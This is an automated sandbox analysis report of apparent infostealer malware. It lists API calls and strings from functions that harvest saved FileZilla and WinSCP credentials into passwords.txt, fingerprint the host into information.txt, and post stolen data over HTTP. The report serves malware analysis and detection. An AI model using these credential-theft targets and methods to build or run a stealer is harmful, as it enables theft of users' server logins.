InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004045E9
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 00404623
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404647

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,file_data,00000000,?,00000000,?,00425A40,00000000,?,?,00000000), ref: 00404B42
lstrlenA.KERNEL32(00000000), ref: 00404B54
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00404B66
HeapAlloc.KERNEL32(00000000), ref: 00404B6D
lstrlenA.KERNEL32(00000000), ref: 00404B7F
memcpy.MSVCRT ref: 00404B92
lstrlenA.KERNEL32(00000000,?,?), ref: 00404BA9
memcpy.MSVCRT ref: 00404BB3
lstrlenA.KERNEL32(00000000), ref: 00404BC4
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404BDD
memcpy.MSVCRT ref: 00404BEA
lstrlenA.KERNEL32(00000000,?,00000000), ref: 00404BFF
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404C10
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00404C37
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404CB9
StrCmpCA.SHLWAPI(00000000,block), ref: 00404CD1
ExitProcess.KERNEL32 ref: 00404CDC
InternetCloseHandle.WININET(?), ref: 00404CEC

Strings

", xrefs: 00404B0F
------, xrefs: 004048EE
build_id, xrefs: 00404845
/, xrefs: 00404C97
file_data, xrefs: 00404AE5
", xrefs: 00404720
", xrefs: 004049C1
------, xrefs: 0040479D
------, xrefs: 00404A3D
ERROR, xrefs: 00404C44
------, xrefs: 0040451D
------, xrefs: 0040464D
--, xrefs: 00404544
", xrefs: 0040486F
ERROR, xrefs: 00404DBB
block, xrefs: 00404CC3

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$H_prologHeap$HttpProcessmemcpy$OpenRequestlstrcat$AllocAllocateBinaryCloseConnectCrackCryptExitFileHandleInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$/$ERROR$ERROR$block$build_id$file_data
API String ID: 1779273220-3274521816
Opcode ID: 55ed085d277c474f36801abdb5871a2e9711e2d2595ca9f7e5e1cdb52fd56dac
Instruction ID: 11be5296a5fba78ccfa74642cc821248e7657d66928f859353594ff17aad1918
Opcode Fuzzy Hash: 55ed085d277c474f36801abdb5871a2e9711e2d2595ca9f7e5e1cdb52fd56dac
Instruction Fuzzy Hash: 90624EB190014DEADB11EBE0C956BEEBBB8AF18308F50417EE505735C2DA786B4CCB65

Function 0040BBE8 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 370
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040BBED

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,;\B,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 00410D6D: LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

strtok_s.MSVCRT ref: 0040BCCB
GetProcessHeap.KERNEL32(00000000,000F423F,00425C43,00425C42,00425C3F,00425C3E), ref: 0040BD1F
HeapAlloc.KERNEL32(00000000), ref: 0040BD26
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040BD3A
lstrlenA.KERNEL32(00000000), ref: 0040BD45
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040BD7D
lstrlenA.KERNEL32(00000000), ref: 0040BD88
StrStrA.SHLWAPI(00000000,<User>), ref: 0040BDC6
lstrlenA.KERNEL32(00000000), ref: 0040BDD1
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040BE0F
lstrlenA.KERNEL32(00000000), ref: 0040BE1E
lstrlenA.KERNEL32(?), ref: 0040C019

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

memset.MSVCRT ref: 0040C06C

Strings

Login: , xrefs: 0040BF5D
Password: , xrefs: 0040BF8B
<Port>, xrefs: 0040BD77
Host: , xrefs: 0040BF0F
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040BC5A
Soft: FileZilla, xrefs: 0040BF01
<User>, xrefs: 0040BDC0
<Host>, xrefs: 0040BD34
passwords.txt, xrefs: 0040C02B
<Pass encoding="base64">, xrefs: 0040BE09

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitmemsetstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 486015307-935134978
Opcode ID: f2f8cbe532bdc0e02a5018567e52a03efa155cd81b80a91211cbc27a9844cae7
Instruction ID: 75576aa526d99454559884b64ef79bc970659b381021a5103b73b201e8ee831e
Opcode Fuzzy Hash: f2f8cbe532bdc0e02a5018567e52a03efa155cd81b80a91211cbc27a9844cae7
Instruction Fuzzy Hash: 3AE16C71900258EADB15EBE1DC56FEEBB78AF19304F50047AF505B21D2EF781A08CB69

Function 0040E7B8 Relevance: 63.4, APIs: 22, Strings: 14, Instructions: 411
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040E7BD
memset.MSVCRT ref: 0040E7E6
memset.MSVCRT ref: 0040E806
memset.MSVCRT ref: 0040E81A
memset.MSVCRT ref: 0040E82E
memset.MSVCRT ref: 0040E83D
memset.MSVCRT ref: 0040E84B
memset.MSVCRT ref: 0040E85C
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 0040E884
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E8AC
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?), ref: 0040E8F3
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E910
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,00000000,?,Host: ,00000000,?,Soft: WinSCP,00425C37), ref: 0040E9A2
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,00000000,?,?), ref: 0040E9F4

Strings

passwords.txt, xrefs: 0040EC88
UserName, xrefs: 0040EAB1
Host: , xrefs: 0040E955
HostName, xrefs: 0040E993
PortNumber, xrefs: 0040E9DE
Security, xrefs: 0040E8A4
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E8E9
Soft: WinSCP, xrefs: 0040E92B
UseMasterPassword, xrefs: 0040E89F
:22, xrefs: 0040EA43
Password: , xrefs: 0040EB43
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E871
Password, xrefs: 0040EB32
Login: , xrefs: 0040EA73

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: memset$Value$Open$EnumH_prolog
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 784052110-2798830873
Opcode ID: 22ccd7e304eadcc4645c99c76537ddb57fad35517efbdbe2963d3d3b8e3d35a3
Instruction ID: d618dc23c2e72a82e05694064c6b478e31e9db7f730d5c61c806b48b50ccc5c5
Opcode Fuzzy Hash: 22ccd7e304eadcc4645c99c76537ddb57fad35517efbdbe2963d3d3b8e3d35a3
Instruction Fuzzy Hash: DBF11CB1D0025DAEDB11EBE1CC81FEEBB7CAF18304F5441BAE515B2182DB785A48CB65

Function 00414604 Relevance: 51.8, APIs: 3, Strings: 26, Instructions: 1004
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00414609

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FC38: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,Version: ,004264F6), ref: 0040FC46
Part of subcall function 0040FC38: HeapAlloc.KERNEL32(00000000,?,00000000,?,Version: ,004264F6), ref: 0040FC4D
Part of subcall function 0040FC38: GetLocalTime.KERNEL32(00000000,?,00000000,?,Version: ,004264F6), ref: 0040FC59
Part of subcall function 0040FC38: wsprintfA.USER32 ref: 0040FC84

Part of subcall function 00410415: memset.MSVCRT ref: 0041043B
Part of subcall function 00410415: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,004264F6,?,?,00000000), ref: 00410457
Part of subcall function 00410415: RegQueryValueExA.KERNEL32(004264F6,MachineGuid,00000000,00000000,?,000000FF,?,?,00000000), ref: 00410476
Part of subcall function 00410415: CharToOemA.USER32(?,?), ref: 00410493

Part of subcall function 004104A2: GetCurrentHwProfileA.ADVAPI32(?), ref: 004104B3

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 004104DD: _EH_prolog.MSVCRT ref: 004104E2
Part of subcall function 004104DD: GetWindowsDirectoryA.KERNEL32(?,00000104,00000001,?,00000000), ref: 00410505
Part of subcall function 004104DD: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00410537
Part of subcall function 004104DD: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0041057A
Part of subcall function 004104DD: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410581

GetCurrentProcessId.KERNEL32(00000000,?,Path: ,00000000,?,004265A8,00000000,?,00000000,00000000,?,HWID: ,00000000,?,0042659C,00000000), ref: 00414922

Part of subcall function 00411001: OpenProcess.KERNEL32(00000410,00000000,2IA), ref: 00411019
Part of subcall function 00411001: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00411034
Part of subcall function 00411001: CloseHandle.KERNEL32(00000000), ref: 0041103B

Part of subcall function 0041064B: GetProcessHeap.KERNEL32(00000000,00000104,00000001,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC,00000000,?,Work Dir: In memory), ref: 0041065F
Part of subcall function 0041064B: HeapAlloc.KERNEL32(00000000,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC,00000000,?,Work Dir: In memory,00000000,?), ref: 00410666

Part of subcall function 0041077C: _EH_prolog.MSVCRT ref: 00410781
Part of subcall function 0041077C: CoInitializeEx.OLE32(00000000,00000000,00000001,?,00000000,?,?,?,?,?,?,004265CC,00000000,?,Work Dir: In memory,00000000), ref: 00410799
Part of subcall function 0041077C: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000), ref: 004107AA
Part of subcall function 0041077C: CoCreateInstance.OLE32(00426F54,00000000,00000001,00426E84,?,?,00000000,?,?,?,?,?,?,004265CC,00000000,?), ref: 004107C4
Part of subcall function 0041077C: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000), ref: 004107FA
Part of subcall function 0041077C: VariantInit.OLEAUT32(?), ref: 00410855

Part of subcall function 00410925: _EH_prolog.MSVCRT ref: 0041092A
Part of subcall function 00410925: CoInitializeEx.OLE32(00000000,00000000,00000001,?,00000000,004265CC,00000000,?,Work Dir: In memory,00000000,?,004265B4,00000000,?,00000000), ref: 00410942
Part of subcall function 00410925: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000,004265CC,00000000,?,Work Dir: In memory,00000000), ref: 00410953
Part of subcall function 00410925: CoCreateInstance.OLE32(00426F54,00000000,00000001,00426E84,?,?,00000000,004265CC,00000000,?,Work Dir: In memory,00000000,?,004265B4,00000000,?), ref: 0041096D
Part of subcall function 00410925: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000,004265CC,00000000,?,Work Dir: In memory,00000000,?), ref: 004109A3
Part of subcall function 00410925: VariantInit.OLEAUT32(?), ref: 004109F6

Part of subcall function 0040FBFD: GetProcessHeap.KERNEL32(00000000,00000104,00000001,?,?,00414BBE,00000000,?,Computer Name: ,00000000,?,004265FC,00000000,?,00000000,00000000), ref: 0040FC09
Part of subcall function 0040FBFD: HeapAlloc.KERNEL32(00000000,?,?,00414BBE,00000000,?,Computer Name: ,00000000,?,004265FC,00000000,?,00000000,00000000,?,AV: ), ref: 0040FC10
Part of subcall function 0040FBFD: GetComputerNameA.KERNEL32(00000000,00000000), ref: 0040FC24

Part of subcall function 0040FBCB: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00417274,0042656F), ref: 0040FBD7
Part of subcall function 0040FBCB: HeapAlloc.KERNEL32(00000000,?,?,?,00417274,0042656F), ref: 0040FBDE
Part of subcall function 0040FBCB: GetUserNameA.ADVAPI32(00000000,?), ref: 0040FBF2

Part of subcall function 004103A0: CreateDCA.GDI32(00000000,00000000,00000000,00000001), ref: 004103B5
Part of subcall function 004103A0: GetDeviceCaps.GDI32(00000000,00000008), ref: 004103C0
Part of subcall function 004103A0: GetDeviceCaps.GDI32(00000000,0000000A), ref: 004103CB
Part of subcall function 004103A0: ReleaseDC.USER32(00000000,00000000), ref: 004103D6
Part of subcall function 004103A0: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,?,00414CC0,?,00000000,?,Display Resolution: ,00000000,?,00426620,00000000,?), ref: 004103E2
Part of subcall function 004103A0: HeapAlloc.KERNEL32(00000000,?,00000000,?,?,00414CC0,?,00000000,?,Display Resolution: ,00000000,?,00426620,00000000,?,00000000), ref: 004103E9
Part of subcall function 004103A0: wsprintfA.USER32 ref: 004103FB

Part of subcall function 0040FCE5: _EH_prolog.MSVCRT ref: 0040FCEA
Part of subcall function 0040FCE5: GetKeyboardLayoutList.USER32(00000000,00000000,00426257,00000001,?,00000000), ref: 0040FD1C
Part of subcall function 0040FCE5: LocalAlloc.KERNEL32(00000040,00000000,?,00000000), ref: 0040FD2A
Part of subcall function 0040FCE5: GetKeyboardLayoutList.USER32(00000000,00000000,?,00000000), ref: 0040FD35
Part of subcall function 0040FCE5: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000000), ref: 0040FD5F
Part of subcall function 0040FCE5: LocalFree.KERNEL32(?), ref: 0040FE03

Part of subcall function 0040FC92: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,Computer Name: ,00000000,?,004265FC,00000000,?,00000000,00000000,?,AV: ), ref: 0040FCA3
Part of subcall function 0040FC92: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,004265FC,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040FCAA
Part of subcall function 0040FC92: GetTimeZoneInformation.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,004265FC,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040FCB9
Part of subcall function 0040FC92: wsprintfA.USER32 ref: 0040FCD7

Part of subcall function 0040FE18: GetProcessHeap.KERNEL32(00000000,00000104,00000001,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,0042667C), ref: 0040FE2C
Part of subcall function 0040FE18: HeapAlloc.KERNEL32(00000000,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,0042667C,00000000,?), ref: 0040FE33
Part of subcall function 0040FE18: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?), ref: 0040FE51
Part of subcall function 0040FE18: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000), ref: 0040FE6D

Part of subcall function 0040FEB4: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 0040FF07
Part of subcall function 0040FEB4: wsprintfA.USER32 ref: 0040FF4D

Part of subcall function 0040FE81: GetSystemInfo.KERNEL32(00000000), ref: 0040FE8E
Part of subcall function 0040FE81: wsprintfA.USER32 ref: 0040FEA3

Part of subcall function 0040FF81: GetProcessHeap.KERNEL32(00000000,00000104,00000001,00000000,00000000,?,Windows: ,00000000,?,004265CC,00000000,?,Work Dir: In memory,00000000,?,004265B4), ref: 0040FF8F
Part of subcall function 0040FF81: HeapAlloc.KERNEL32(00000000), ref: 0040FF96
Part of subcall function 0040FF81: GlobalMemoryStatusEx.KERNEL32 ref: 0040FFB6
Part of subcall function 0040FF81: wsprintfA.USER32 ref: 0040FFDC

Part of subcall function 0040FFEA: _EH_prolog.MSVCRT ref: 0040FFEF
Part of subcall function 0040FFEA: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 00410057

Part of subcall function 004102C3: _EH_prolog.MSVCRT ref: 004102C8
Part of subcall function 004102C3: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00410303
Part of subcall function 004102C3: Process32First.KERNEL32(00000000,00000128), ref: 00410314
Part of subcall function 004102C3: Process32Next.KERNEL32(?,00000128), ref: 0041037C
Part of subcall function 004102C3: CloseHandle.KERNEL32(?,?,00000000), ref: 00410389

Part of subcall function 00410071: _EH_prolog.MSVCRT ref: 00410076
Part of subcall function 00410071: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0042626F,00000001,00000000), ref: 004100BE

Part of subcall function 00410071: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00410108
Part of subcall function 00410071: wsprintfA.USER32 ref: 00410132
Part of subcall function 00410071: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 0041014F
Part of subcall function 00410071: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00410179
Part of subcall function 00410071: lstrlenA.KERNEL32(?), ref: 0041018E
Part of subcall function 00410071: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,00000000,?,?,00000000,?,00426298), ref: 0041020E

lstrlenA.KERNEL32(00000000,00000000,?,004266F0,00000000,?,00000000,00000000,?,00000000,00000000,?,[Software],00000000,?,004266E0), ref: 0041537A

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Windows: , xrefs: 004149E8
User Name: , xrefs: 00414C0E
Path: , xrefs: 004148F8
Keyboard Languages: , xrefs: 00414D21
Display Resolution: , xrefs: 00414C8D
Date: , xrefs: 004146D2
Processor: , xrefs: 00414F07
Computer Name: , xrefs: 00414B8F
Version: , xrefs: 00414625
RAM: , xrefs: 004150A2
information.txt, xrefs: 00415395
Local Time: , xrefs: 00414DC1
HWID: , xrefs: 00414864
Cores: , xrefs: 00414F98
T, xrefs: 004153AE
[Hardware], xrefs: 00414ED7
Work Dir: In memory, xrefs: 00414994
[Processes], xrefs: 004151D3
VideoCard: , xrefs: 00415127
[Software], xrefs: 0041527F
Install Date: , xrefs: 00414A67
Threads: , xrefs: 0041501D
AV: , xrefs: 00414AFB
MachineID: , xrefs: 00414751
TimeZone: , xrefs: 00414E52
GUID: , xrefs: 004147D0

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$H_prolog$Process$Alloc$wsprintf$CreateOpen$InitializeQueryValuelstrcpy$InformationLocalNamelstrlen$BlanketCapsCloseCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariantlstrcat$CharComputerDevicesDirectoryDisplayFileFirstFreeGlobalLocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZonememset
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $T$Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 722754166-3257470747
Opcode ID: 8e79461fdbb141f0f1334f164d06d81da42756099588a8b0a40a232787f46a23
Instruction ID: 34389346271f1e4f7fe34ee782a08fd334c824368f8c7b7c5cb1de368f42fff1
Opcode Fuzzy Hash: 8e79461fdbb141f0f1334f164d06d81da42756099588a8b0a40a232787f46a23
Instruction Fuzzy Hash: 7C921EB190424DE9CB15E7E1C952BEEBB789F24308F5041BEE505725C2DE782B8CCAB5

Function 0040C27B Relevance: 42.3, APIs: 23, Strings: 1, Instructions: 296
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040C280

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
